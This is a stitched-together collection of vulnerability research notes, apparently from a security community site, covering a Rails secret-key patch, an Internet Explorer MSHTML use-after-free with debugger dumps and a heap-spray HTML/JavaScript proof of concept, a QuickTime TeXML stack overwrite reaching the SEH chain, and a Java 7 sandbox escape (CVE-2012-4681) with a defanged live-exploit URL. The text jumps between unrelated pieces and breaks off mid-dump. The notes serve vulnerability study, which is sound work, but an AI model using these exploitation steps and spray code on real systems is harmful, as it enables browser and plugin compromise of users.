However, like I previously said, all this does not even happen by default, because there is no secrets.yml by default. Using the application name as the key is definitely a much bigger concern for Rails users.

Patching

Since vulnerable version relies on the application name to create the secret_key_base, it is easy to mitigate this. Originally, this was the vulnerable code:

def secret_key_base
  if Rails.env.test? || Rails.env.development?
    secrets.secret_key_base || Digest::MD5.hexdigest(self.class.name)
    # Code omitted below

And that becomes the following the patched version:

def secret_key_base
  if Rails.env.development? || Rails.env.test?
    secrets.secret_key_base ||= generate_development_secret
    # Code omitted below

In method generate_development_secret, the key is completely randomized using SecureRandom:

def generate_development_secret
  if secrets.secret_key_base.nil?
    key_file = Rails.root.join("tmp/development_secret.txt")

    if !File.exist?(key_file)
      random_key = SecureRandom.hex(64)
      File.binwrite(key_file, random_key)
    end

    secrets.secret_key_base = File.binread(key_file)
  end

  secrets.secret_key_base
end

Looks like everything a-okay.

1
Technical Analysis

The crash / corruptions happens at CMarkup::UpdateMarkupContentsVersion:

.text:637C9454                 inc     dword ptr [eax+10h]

In order to return from CMarkup::UpdateMarkupContentsVersion we can use the next route:

.text:637C9454                 inc     dword ptr [eax+10h] ; Corruption!
.text:637C9457
.text:637C9457 loc_637C9457:                           ; CODE XREF: CMarkup::UpdateMarkupContentsVersion(void)+14j
.text:637C9457                 mov     ecx, [edx+94h]  ; we need to bypass this part, we control edx, so not a big deal
.text:637C945D                 xor     eax, eax
.text:637C945F                 test    ecx, ecx
.text:637C9461                 jz      short loc_637C9466
.text:637C9463                 mov     eax, [ecx+0Ch]
.text:637C9466
.text:637C9466 loc_637C9466:                           ; CODE XREF: CMarkup::UpdateMarkupContentsVersion(void)+23j
.text:637C9466                 cmp     dword ptr [eax+1C0h], 0 ; We must make eax+1c0h == 0 (not a big deal via spray)
.text:637C946D                 jz      short locret_637C9496 ; So this jz is taken and we return from CMarkup::UpdateMarkupContentsVersion
  • After returning from CMarkup::UpdateMarkupContentsVersion we land into CMarkup::NotifyElementEnterTree:
.text:63776EC8                 call    ?UpdateMarkupContentsVersion@CMarkup@@QAEXXZ ; it's the call we're using for corruption
.text:63776ECD                 mov     eax, [esi+98h]  ; esi is the controlled object
.text:63776ED3                 test    eax, eax
.text:63776ED5                 jz      short loc_63776EED
.text:63776ED7                 cmp     dword ptr [esi+1A4h], 15F90h
.text:63776EE1                 jl      short loc_63776EED
.text:63776EE3                 mov     eax, [eax+8]
.text:63776EE6                 and     dword ptr [eax+2F0h], 0FFFFFFBFh ; We need to bypass this and, after that we get the control back :)

Reused object:

0:008> dd 061b90c8 Ld0
061b90c8  deadc0de 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b90d8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b90e8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b90f8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9108  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9118  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9128  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9138  1a1b1ff0 1a1b1ff0 1a1b1ff1 9a1b1ff1
061b9148  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9158  1a1b1ff0 1a1b2004 1a1b200c 1a1b1ff0
061b9168  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9178  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9188  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9198  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b91a8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b91b8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b91c8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b91d8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b91e8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b91f8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9208  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9218  1a1b1ff0 1a1b1ff0 1a1b1ff0 42424242
061b9228  1a1b1ff4 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9238  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9248  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9258  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9268  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9278  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9288  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9298  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b92a8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b92b8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b92c8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b92d8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b92e8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b92f8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9308  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9318  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9328  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9338  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9348  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9358  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9368  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9378  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9388  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b9398  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b93a8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b93b8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b93c8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b93d8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b93e8  1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0
061b93f8  1a1b1ff0 1a1b1ff0 1a1b1ff0 00001ff0

Sprayed memory should look like:

0:008> dd eax+10
1a1b2000  00000001 1a1b203c 00000000 1a1b2098
1a1b2010  1a1b2064 1a1b2068 00000000 00000000
1a1b2020  00000000 00000000 00000000 00000000
1a1b2030  00000000 00000000 00000000 00000000
1a1b2040  00000000 00000000 00000000 00000000
1a1b2050  00000000 00000000 00000000 00000000
1a1b2060  00000000 00000000 00000000 00000000
1a1b2070  00000000 00000000 00000000 00000000

x=1a1b1ff0 ebx=0298eeb8 ecx=00000195 edx=061b90c8 esi=061b90c8 edi=0297d568
eip=67ed9457 esp=02efb54c ebp=02efb5b8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSHTML!CMarkup::UpdateMarkupContentsVersion+0x19:
67ed9457 8b8a94000000    mov     ecx,dword ptr [edx+94h] ds:0023:061b915c=04201b1a
0:008> dd edx + 94
061b915c  1a1b2004

0:008> t
eax=00000000 ebx=0298eeb8 ecx=1a1b2004 edx=061b90c8 esi=061b90c8 edi=0297d568
eip=67ed9463 esp=02efb54c ebp=02efb5b8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSHTML!CMarkup::UpdateMarkupContentsVersion+0x25:
67ed9463 8b410c          mov     eax,dword ptr [ecx+0Ch] ds:0023:1a1b2010=64201b1a
0:008> dd ecx + 0c
1a1b2010  1a1b2064 1a1b2068 00000000 00000000

1a1b2064 must point to sprayed memory with content "0"

0:008> t
eax=1a1b2064 ebx=0298eeb8 ecx=1a1b2004 edx=061b90c8 esi=061b90c8 edi=0297d568
eip=67e86ecd esp=02efb550 ebp=02efb5b8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSHTML!CMarkup::NotifyElementEnterTree+0x277:
67e86ecd 8b8698000000    mov     eax,dword ptr [esi+98h] ds:0023:061b9160=0c201b1a
0:008> dd esi + 98
061b9160  1a1b200c

0:008> dd 1a1b200c
1a1b200c  1a1b2098 1a1b2064 1a1b2068 00000000
1a1b201c  00000000 00000000 00000000 00000000
1a1b202c  00000000 00000000 00000000 00000000
1a1b203c  00000000 00000000 00000000 00000000
1a1b204c  00000000 00000000 00000000 00000000
1a1b205c  00000000 00000000 00000000 00000000
1a1b206c  00000000 00000000 00000000 00000000
1a1b207c  00000000 00000000 00000000 00000000

0:008> t
eax=1a1b200c ebx=0298eeb8 ecx=1a1b2004 edx=061b90c8 esi=061b90c8 edi=0297d568
eip=67e86ee3 esp=02efb550 ebp=02efb5b8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
MSHTML!CMarkup::NotifyElementEnterTree+0x28d:
67e86ee3 8b4008          mov     eax,dword ptr [eax+8] ds:0023:1a1b2014=68201b1a
0:008> dd eax+8
1a1b2014  1a1b2068

Simulate an spray with:

.dvalloc /b 1a1b1ff0 4000

THen go to 1a1b2004 and write:

1a1b203c 00000000 1a1b2098 1a1b2064 1a1b2068

After several tries I keep crashing curiously again:

0:008> r
eax=00000000 ebx=02f0c028 ecx=1a1b1ff0 edx=04e68ad8 esi=04e68ad8 edi=02f02b00
eip=67ed9466 esp=036bb46c ebp=036bb4d8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
MSHTML!CMarkup::UpdateMarkupContentsVersion+0x28:
67ed9466 83b8c001000000  cmp     dword ptr [eax+1C0h],0 ds:0023:000001c0=????????
0:008> dd ecx+c
1a1b1ffc  00000000 00000003 1a1b203c 00000000
1a1b200c  1a1b2098 1a1b2064 1a1b2068 00000000

So we’re going to try adding to 1a1b1ffc => 1a1b205c => It adds some reliability,
but finally crashes again, looks like because finally we don’t control the reused
memory, someone else won the race :?

.dvalloc /b 1a1b1ff0 4000
f 1a1b1ffc L1C 5C 20 1B 1A 00 00 00 00 3C 20 1B 1A 00 00 00 00 98 20 1B 1A 64 20 1B 1A 68 20 1B 1A

Heap Spray with Attributes

In order to use the technique by vupen disclosed here:

http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php

the cloneNode doesn’t work anymore:

	var cl0ne = test.cloneNode(true);

It won’t clone attribute values, so CAttrValue::Copy isn’t hit anymore. In order to solve, after checking
the xrefx to CattrValue::Copy there is an interesting new path:

CElement::mergeAttributes

Here is PoC:

function test() {
	var myDiv = document.getElementById("pwn")
	var test = document.createElement("select")
	test.setAttribute('obj0', "AAAAAAAAAAAAAAAAAAAA")
	test.setAttribute('obj1', new Date())
	test.setAttribute('obj2', new Date())
	test.setAttribute('obj3', "METASPLOIT")
	alert(test.attributes.length);
	alert(test.getAttribute('obj0'));
	var cl0ne = test.cloneNode(true);
	cl0ne.mergeAttributes(test);
}

Spraying with Attributes, definite version:

<html>
<head>

<script>
function myTest() {

	var test = document.createElement("select")
	for (var j = 0; j < 0x80; j++) {
		test.setAttribute('test' + j, unescape("%u0001"))
	}

	var empty = document.createElement("select")

	alert('oka, bp copy......')
	var myAttributes = new Array();
	for (var i = 0; i < 0x20; i++) {
		myAttributes[i] = empty.cloneNode(true);
		myAttributes[i].mergeAttributes(test);
	}


	alert('oka, check what is there in memory...')
	alert(myAttributes[0].getAttribute('test0').length);

	//alert(myAttributes[0].test0.length);
	//alert(cl0ne.attributes.length);
}
</script>
</head>
<body onload="myTest();">
</body>
</html>

It will spray 0x800 size structs (with the Variant types and the pointers to strings!)

1
Technical Analysis

-
Down p sub_67EED2E0+193 call dangerous_copy_sub_67EED1E0 <— Interesting (0x67EED473)
Down p sub_67EED2E0+1E7 call dangerous_copy_sub_67EED1E0
Down p sub_67EED2E0+23C call dangerous_copy_sub_67EED1E0
Down p sub_67EED2E0+28D call dangerous_copy_sub_67EED1E0
Down p manage_transform_sub_67EED810+B6 call dangerous_copy_sub_67EED1E0 (*) this is the one we have reviewed


We noticed that sub_67EED2E0+193 can also trigger the crash, with even longer data without
triggering the warning.  In this particular case, the parser is handling arguments ending with
a "%", which can be reached as a 'color' argument, for example:

{ color: AAAAAAAAAAAAAA% }


Where "AAAAAAAAAAAAAA" will be copied on the stack. Also see poc3.xml for example.

As a result, we get to overwrite the stack with more data (like I said), and we end up overwriting
the SEH:

(c54.da8): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\QuickTime\QTSystem\QuickTime3GPP.qtx -
eax=00000030 ebx=0013cc25 ecx=0e0a7288 edx=0000355f esi=00140000 edi=0013cba0
eip=67eed1f3 esp=0013cb74 ebp=00000004 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
QuickTime3GPP!EatTx3gComponentDispatch+0x4033:
67eed1f3 8806 mov byte ptr [esi],al ds:0023:00140000=41
0:000> !exchain
0013ce24: 30303030
Invalid exception stack at 30303030
0:000> g
(c54.da8): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=30303030 edx=7c9032bc esi=00000000 edi=00000000
eip=30303030 esp=0013c7a4 ebp=0013c7c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
30303030 ?? ???
”`

quicktime.qts does not have Safe SEH protected.

The final version of the exploit can be found here:
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/apple_quicktime_texml.rb

2
Technical Analysis

References

References about the attack:

References about the Java API used:

getField() wasn’t always public, see the following for an example:

http://javasourcecode.org/html/open-source/jdk/jdk-6u23/sun/awt/SunToolkit.java.html

Summary

This is a vulnerability specifically targeting Java 7. Some reports reveal the origin of the 0day
exploit comes from a popular exploit kit named “Gondad Exploit Kit” (google “ZZVnxA1X”), some people
also claim the 0day originally comes from VulnDisco, which is an exploit pack used by Immunity
Canvas. No matter, the public noticed the attack as a malware being hosted at 59.120.154.62, which
is a server located in Taiwan. The decompiled source also has strings (lyrics) such as
“woyouyizhixiaomaolv” and “conglaiyebuqi” indicating that whoever wrote it must know Mandarin Chinese
quite well, possibly China because that’s “Pinyin” input method, and he probably grew up there
due the choice of the song. It would be reasonable to say that someone in China has been using the
exploit, and hosts the malicious code on a compromised server in Taiwan.

The actual link to the live exploit is:
hxxp://59.120.154.62/meeting/index.html

The exploit takes advantage of two issues: The ClassFinder and MethodFinder.findMethod(). Both
were newly introduced in JDK 7. ClassFinder is a replacement for classForName back in JDK 6. It
allows untrusted code to obtain a reference and have access to a restricted package in JDK 7, which
can be used to abuse sun.awt.SunToolkit (a restricted package). With sun.awt.SunToolkit, we can
actually invoke getField() by abusing findMethod() in Statement.invokeInternal() (but getField()
must be public, and that’s not always the case in JDK 6) in order to access Statement.acc’s private
field, modify AccessControlContext, and then disable Security Manager. Once Security Manager is
disabled, we can execute arbitrary Java code.

Our exploit has been tested successfully against multiple platforms, including: IE, Firefox, Safari,
Chrome; Windows, Ubuntu, OS X, etc. We have even received reports claiming the exploit also works
against Solaris.

Timeline

Aug xx 2011 – Vulnerable code was introduced in JDK7
Apr xx 2012 – Oracle already aware of the vulnerabilities: http://www.theregister.co.uk/2012/08/30/oracle_knew_about_flaws/
Jun xx 2012 – Infected server hosting malware code: http://urlquery.net/report.php?id=70896
Aug 26 2012 – First blog emerged about the Java 0day: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
Aug 26 2012 – PoC extracted from the malicious site by Joshua Drake: https://twitter.com/jduck1337/status/239875285913317376
Aug 27 2012 – Metasploit exploit available: https://community.rapid7.com/community/metasploit/blog/2012/08/27/lets-start-the-week-with-a-new-java-0day
Aug 28 2012 – CVE assigned as CVE-2012-4681
Aug 30 2012 – Java 7 Update 7 available (out of band patch)

Exceptions happens on this line of the Exploit:

GetClass("sun.awt.SunToolkit")

    private Class GetClass(String paramString)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[1];
        arrayOfObject[0] = paramString;
        Expression localExpression = new Expression(Class.class, "forName", arrayOfObject); <===
        localExpression.execute(); // (3) Fails !!! <====
        return (Class)localExpression.getValue();
    }

Through Expression it tries to do Class.forName(“sun.awt.SunToolkit”). Despite the use of
Expression, according to the Exception on Java6 root cause seems to be on Class.forName.

When checking java 7 api you can read:

public static Class classForName(String name) throws ClassNotFoundException
Deprecated! As - of JDK version 7, replaced by ClassFinder#resolveClass(String) .

Returns the Class object associated with the class or interface with the given string name, using the default class loader

So maybe something was lost con ClassFinder#resolveClass….

Digging into source code of openjdk:

  • On Java 7
    ======
jdk/src/share/classes/java/lang/Class.java

    public static Class<?> forName(String className)
                throws ClassNotFoundException {
        return forName0(className, true, ClassLoader.getCallerClassLoader());
    }


    /** Called after security checks have been made. */
    private static native Class<?> forName0(String name, boolean initialize,
                                            ClassLoader loader)
        throws ClassNotFoundException;


jdk/src/share/native/java/lang/Class.c

JNIEXPORT jclass JNICALL
Java_java_lang_Class_forName0(JNIEnv *env, jclass this, jstring classname,
                              jboolean initialize, jobject loader)

....
    cls = JVM_FindClassFromClassLoader(env, clname, initialize,
                                       loader, JNI_FALSE);

hotspot/src/share/vm/prims/jvm.cpp

JVM_ENTRY(jclass, JVM_FindClassFromClassLoader(JNIEnv* env, const char* name,
                                               jboolean init, jobject loader,
                                               jboolean throwError))
  JVMWrapper3("JVM_FindClassFromClassLoader %s throw %s", name,
               throwError ? "error" : "exception");
  // Java libraries should ensure that name is never null...
  if (name == NULL || (int)strlen(name) > Symbol::max_length()) {
    // It's impossible to create this class;  the name cannot fit
    // into the constant pool.
    if (throwError) {
      THROW_MSG_0(vmSymbols::java_lang_NoClassDefFoundError(), name);
    } else {
      THROW_MSG_0(vmSymbols::java_lang_ClassNotFoundException(), name);
    }
  }
  TempNewSymbol h_name = SymbolTable::new_symbol(name, CHECK_NULL);
  Handle h_loader(THREAD, JNIHandles::resolve(loader));
  jclass result = find_class_from_class_loader(env, h_name, init, h_loader,
                                               Handle(), throwError, THREAD);

  if (TraceClassResolution && result != NULL) {
    trace_class_resolution(java_lang_Class::as_klassOop(JNIHandles::resolve_non_null(result)));
  }
  return result;
JVM_END

hotspot/src/share/vm/classfile/systemDictionary.cpp

jclass find_class_from_class_loader(JNIEnv* env, symbolHandle name, jboolean init, Handle loader, Handle protection_domain, jboolean throwError, TRAPS) {
  // Security Note:
  //   The Java level wrapper will perform the necessary security check allowing
  //   us to pass the NULL as the initiating class loader.
  klassOop klass = SystemDictionary::resolve_or_fail(name, loader, protection_domain, throwError != 0, CHECK_NULL);

  KlassHandle klass_handle(THREAD, klass);
  // Check if we should initialize the class
  if (init && klass_handle->oop_is_instance()) {
    klass_handle->initialize(CHECK_NULL);
  }
  return (jclass) JNIHandles::make_local(env, klass_handle->java_mirror());
}

hotspot/src/share/vm/classfile/systemDictionary.cpp

klassOop SystemDictionary::resolve_or_fail(symbolHandle class_name, Handle class_loader, Handle protection_domain, bool throw_error, TRAPS) {
  klassOop klass = resolve_or_null(class_name, class_loader, protection_domain, THREAD);
  if (HAS_PENDING_EXCEPTION || klass == NULL) {
    KlassHandle k_h(THREAD, klass);
    // can return a null klass
    klass = handle_resolution_exception(class_name, class_loader, protection_domain, throw_error, k_h, THREAD);
  }
  return klass;
}

klassOop SystemDictionary::resolve_or_null(symbolHandle class_name, Handle class_loader, Handle protection_domain, TRAPS) {
  assert(!THREAD->is_Compiler_thread(), "Can not load classes with the Compiler thread");
  if (FieldType::is_array(class_name())) {
    return resolve_array_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL);
  } else {
    return resolve_instance_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL);
  }
}

…. First review of resolve_instance_class_or_null doesn’t spot anything interesting at first view! Maybe
I should check carefully

  • On java6:
    =====
jdk/src/share/native/java/lang/Class.c

    public static Class<?> forName(String className)
                throws ClassNotFoundException {
        return forName0(className, true, ClassLoader.getCallerClassLoader());
    }


    /** Called after security checks have been made. */
    private static native Class forName0(String name, boolean initialize,
                                            ClassLoader loader)
        throws ClassNotFoundException;

hotspot/src/share/vm/prims/jvm.cpp

JVM_ENTRY(jclass, JVM_FindClassFromClassLoader(JNIEnv* env, const char* name,
                                               jboolean init, jobject loader,
                                               jboolean throwError))
  JVMWrapper3("JVM_FindClassFromClassLoader %s throw %s", name,
               throwError ? "error" : "exception");
  // Java libraries should ensure that name is never null...
  if (name == NULL || (int)strlen(name) > symbolOopDesc::max_length()) {
    // It's impossible to create this class;  the name cannot fit
    // into the constant pool.
    if (throwError) {
      THROW_MSG_0(vmSymbols::java_lang_NoClassDefFoundError(), name);
    } else {
      THROW_MSG_0(vmSymbols::java_lang_ClassNotFoundException(), name);
    }
  }
  symbolHandle h_name = oopFactory::new_symbol_handle(name, CHECK_NULL);
  Handle h_loader(THREAD, JNIHandles::resolve(loader));
  jclass result = find_class_from_class_loader(env, h_name, init, h_loader,
                                               Handle(), throwError, THREAD);

  if (TraceClassResolution && result != NULL) {
    trace_class_resolution(java_lang_Class::as_klassOop(JNIHandles::resolve_non_null(result)));
  }
  return result;
JVM_END
jclass find_class_from_class_loader(JNIEnv* env, Symbol* name, jboolean init, Handle loader, Handle protection_domain, jboolean throwError, TRAPS) {
  // Security Note:
  //   The Java level wrapper will perform the necessary security check allowing
  //   us to pass the NULL as the initiating class loader.
  klassOop klass = SystemDictionary::resolve_or_fail(name, loader, protection_domain, throwError != 0, CHECK_NULL);

  KlassHandle klass_handle(THREAD, klass);
  // Check if we should initialize the class
  if (init && klass_handle->oop_is_instance()) {
    klass_handle->initialize(CHECK_NULL);
  }
  return (jclass) JNIHandles::make_local(env, klass_handle->java_mirror());
}

hotspot/src/share/vm/classfile/systemDictionary.cpp

klassOop SystemDictionary::resolve_or_fail(Symbol* class_name, Handle class_loader, Handle protection_domain, bool throw_error, TRAPS) {
  klassOop klass = resolve_or_null(class_name, class_loader, protection_domain, THREAD);
  if (HAS_PENDING_EXCEPTION || klass == NULL) {
    KlassHandle k_h(THREAD, klass);
    // can return a null klass
    klass = handle_resolution_exception(class_name, class_loader, protection_domain, throw_error, k_h, THREAD);
  }
  return klass;
klassOop SystemDictionary::resolve_or_null(Symbol* class_name, Handle class_loader, Handle protection_domain, TRAPS) {
  assert(!THREAD->is_Compiler_thread(), "Can not load classes with the Compiler thread");
  if (FieldType::is_array(class_name)) {
    return resolve_array_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL);
  } else if (FieldType::is_obj(class_name)) {
    ResourceMark rm(THREAD);
    // Ignore wrapping L and ;.
    TempNewSymbol name = SymbolTable::new_symbol(class_name->as_C_string() + 1,
                                   class_name->utf8_length() - 2, CHECK_NULL);
    return resolve_instance_class_or_null(name, class_loader, protection_domain, CHECK_NULL);
  } else {
    return resolve_instance_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL);
  }
}

…. First review of resolve_instance_class_or_null doesn’t spot anything interesting at first view! Maybe
I should check carefully

So going high level….

As have been said before, on JDK 7, classForName has been replaced by ClassFinder#resolveClass

public static Class classForName(String name) throws ClassNotFoundException
Deprecated! As - of JDK version 7, replaced by ClassFinder#resolveClass(String) .

ClassFinder doesn't exist on JDK 6, so digging into JDK 7:

     * @see #resolveClass(String,ClassLoader)
     */
    public static Class<?> resolveClass(String name) throws ClassNotFoundException {
        return resolveClass(name, null);
    }

calls with loader == null....

    /**
     * Returns the {@code Class} object associated with
     * the class or interface with the given string name,
     * using the given class loader.
     * <p>
     * The {@code name} can denote an array class
     * (see {@link Class#getName} for details).
     * <p>
     * If the parameter {@code loader} is null,
     * the class is loaded through the default class loader.
     * <p>
     * This method can be used to obtain
     * any of the {@code Class} objects
     * representing {@code void} or primitive Java types:
     * {@code char}, {@code byte}, {@code short},
     * {@code int}, {@code long}, {@code float},
     * {@code double} and {@code boolean}.
     *
     * @param name    fully qualified name of the desired class
     * @param loader  class loader from which the class must be loaded
     * @return class object representing the desired class
     *
     * @throws ClassNotFoundException  if the class cannot be located
     *                                 by the specified class loader
     *
     * @see #findClass(String,ClassLoader)
     * @see PrimitiveTypeMap#getType(String)
     */
    public static Class<?> resolveClass(String name, ClassLoader loader) throws ClassNotFoundException {
        Class<?> type = PrimitiveTypeMap.getType(name);
        return (type == null)
                ? findClass(name, loader)
                : type;
    }


    /**
     * Returns the {@code Class} object associated with
     * the class or interface with the given string name,
     * using the given class loader.
     * <p>
     * The {@code name} can denote an array class
     * (see {@link Class#getName} for details).
     * <p>
     * If the parameter {@code loader} is null,
     * the class is loaded through the default class loader.
     *
     * @param name    fully qualified name of the desired class
     * @param loader  class loader from which the class must be loaded
     * @return class object representing the desired class
     *
     * @throws ClassNotFoundException  if the class cannot be located
     *                                 by the specified class loader
     *
     * @see #findClass(String,ClassLoader)
     * @see Class#forName(String,boolean,ClassLoader)
     */
    public static Class<?> findClass(String name, ClassLoader loader) throws ClassNotFoundException {
        if (loader != null) {
            try {
                return Class.forName(name, false, loader);
            } catch (ClassNotFoundException exception) {
                // use default class loader instead
            } catch (SecurityException exception) {
                // use default class loader instead
            }
        }
        return findClass(name);
    }

Will call…. so here we go…. I suppose the difference could be how
Java 7 calls to Class.forName maybe….:

    /**
     * Returns the {@code Class} object associated
     * with the class or interface with the given string name,
     * using the default class loader.
     * <p>
     * The {@code name} can denote an array class
     * (see {@link Class#getName} for details).
     *
     * @param name  fully qualified name of the desired class
     * @return class object representing the desired class
     *
     * @throws ClassNotFoundException  if the class cannot be located
     *                                 by the specified class loader
     *
     * @see Class#forName(String)
     * @see Class#forName(String,boolean,ClassLoader)
     * @see ClassLoader#getSystemClassLoader()
     * @see Thread#getContextClassLoader()
     */
    public static Class<?> findClass(String name) throws ClassNotFoundException {
        try {
            ClassLoader loader = Thread.currentThread().getContextClassLoader();
            if (loader == null) {
                // can be null in IE (see 6204697)
                loader = ClassLoader.getSystemClassLoader();
            }
            if (loader != null) {
                return Class.forName(name, false, loader);
            }

        } catch (ClassNotFoundException exception) {
            // use current class loader instead
        } catch (SecurityException exception) {
            // use current class loader instead
        }
        return Class.forName(name);
    }

In Java6

	at java.security.AccessControlContext.checkPermission(Unknown Source)
	at java.security.AccessController.checkPermission(Unknown Source)
	at java.lang.SecurityManager.checkPermission(Unknown Source)
	at java.lang.SecurityManager.checkPackageAccess(Unknown Source)
	at sun.plugin2.applet.Applet2SecurityManager.checkPackageAccess(Unknown Source)
	at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source)
	at java.lang.ClassLoader.loadClass(Unknown Source)
	at sun.plugin2.applet.Plugin2ClassLoader.loadClass0(Unknown Source)
	at sun.plugin2.applet.Plugin2ClassLoader.loadClass(Unknown Source)
	at sun.plugin2.applet.Plugin2ClassLoader.loadClass0(Unknown Source)
	at sun.plugin2.applet.Plugin2ClassLoader.loadClass(Unknown Source)
	at sun.plugin2.applet.Plugin2ClassLoader.loadClass(Unknown Source)
	at java.lang.ClassLoader.loadClass(Unknown Source)
	at java.lang.Class.forName0(Native Method)
	at java.lang.Class.forName(Unknown Source)

My feeling is…. on Java7 the sun.plugin2.applet.Plugin2ClassLoader is not
being used….. sooo…. whhich one?…. maybe:

ClassLoader loader = Thread.currentThread().getContextClassLoader();
if (loader == null) {
	// can be null in IE (see 6204697)
	loader = ClassLoader.getSystemClassLoader();
}

maybe??? not sure 100% sorry, I would need debug it to see a little better…

The difference, could be, with JDK6, where the ClassFinder doesn’t exist, is which
forName would be call and ClassLoader.getCallerClassLoader() will be used…. could be???

    /**
     * Returns the {@code Class} object associated with the class or
     * interface with the given string name.  Invoking this method is
     * equivalent to:
     *
     * <blockquote>
     *  {@code Class.forName(className, true, currentLoader)}
     * </blockquote>
     *
     * where {@code currentLoader} denotes the defining class loader of
     * the current class.
     *
     * <p> For example, the following code fragment returns the
     * runtime {@code Class} descriptor for the class named
     * {@code java.lang.Thread}:
     *
     * <blockquote>
     *   {@code Class t = Class.forName("java.lang.Thread")}
     * </blockquote>
     * <p>
     * A call to {@code forName("X")} causes the class named
     * {@code X} to be initialized.
     *
     * @param      className   the fully qualified name of the desired class.
     * @return     the {@code Class} object for the class with the
     *             specified name.
     * @exception LinkageError if the linkage fails
     * @exception ExceptionInInitializerError if the initialization provoked
     *            by this method fails
     * @exception ClassNotFoundException if the class cannot be located
     */
    public static Class<?> forName(String className)
                throws ClassNotFoundException {
        return forName0(className, true, ClassLoader.getCallerClassLoader());
    }
1
Technical Analysis

This is from crash2, gflags enabled

Originally discovered by Corelanc0d3r, see:
https://www.corelan.be/index.php/2014/05/22/on-cve-2014-1770-zdi-14-140-internet-explorer-8-0day/

Note

This was kept private until an official patch was out from Microsoft

0:008> r
eax=00000000 ebx=00000000 ecx=7c91003d edx=00155000 esi=0cc2ef38 edi=0cc2ef38
